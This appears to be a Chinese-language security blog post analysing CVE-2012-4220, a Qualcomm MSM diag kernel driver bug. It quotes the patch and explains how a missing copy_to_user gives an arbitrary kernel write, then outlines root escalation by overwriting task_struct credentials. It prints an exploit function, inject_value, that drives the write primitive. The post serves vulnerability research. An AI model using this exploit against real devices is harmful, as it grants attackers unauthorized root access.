Retme的未来道具研究所

世界線の収束には、逆らえない

这块代码可以在9300中找到

漏洞信息:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4220

https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012

先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

问题出在diag再处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl时,没有使用copy_to_user

于是uint_16的全局变量 delayed_rsp_id写入用户任意指定的地址,每次可写入0x2~0xffff的两个字节,反复调用即可造成任意地址写的内核漏洞。

  1. } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
  2. - struct diagpkt_delay_params *delay_params =
  3. - (struct diagpkt_delay_params *) ioarg;
  4. -
  5. - if ((delay_params->rsp_ptr) &&
  6. - (delay_params->size == sizeof(delayed_rsp_id)) &&
  7. - (delay_params->num_bytes_ptr)) {
  8. - *((uint16_t *)delay_params->rsp_ptr) =
  9. - DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
  10. - *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
  11. success = 0;
  12. }

如何利用:

这个漏洞里面,要将delay_params->rsp_ptr 设置为希望写入的地址,而希望写入的值利用delayed_rsp_id的值进行

如何控制delayed_rsp_id :

上文中DIAGPKT_NEXT_DELAYED_RSP_ID这个宏,每调用一次,delayed_rsp_id便会+1 所以调用(value_we_want - origin_delayed_rsp_id)次,就能将delayed_rsp_id设置为我们想要的值

如果我们想要的值比 origin_delayed_rsp_id要大,那么可以利用如下这一句:

*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

如果这样写 *(delayed_rsp_id_addr) = sizeof(delayed_rsp_id); 就可以将地址重置为0x2

如何提权:

因为只有能写,不能读。那么丑陋一点的话,可以DKOM,给tusk_struct里面自己的uid pid都填0

  1. static bool
  2. inject_value(struct diag_values *data,
  3. int fd, void *delayed_rsp_id_address)
  4. {
  5. uint16_t delayed_rsp_id_value = 0;
  6. int i, loop_count, ret;
  7. //send ioctl to get origin delayed_rsp_id
  8. //by DIAG_IOCTL_GET_DELAYED_RSP_ID
  9. //we save it
  10. ret = get_current_delayed_rsp_id(fd);
  11. if (ret < 0) {
  12. return false;
  13. }
  14. delayed_rsp_id_value = ret;
  15. data->original_value = delayed_rsp_id_value;
  16. //current value in kernel is too big,reset it
  17. //write delayed_rsp_id_size to *delayed_rsp_id,
  18. //id has been set to 2 here
  19. //
  20. //sorry to say:delayed_rsp_id_address is a hardcode
  21. if (delayed_rsp_id_value > data->value &&
  22. reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
  23. return false;
  24. }
  25. //let delayed_rsp_id add to the data->value we want,and set to
  26. loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
  27. for (i = 0; i < loop_count; i++) {
  28. int unused;
  29. if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
  30. return false;
  31. }
  32. }
  33. return true;
  34. }

评论已关闭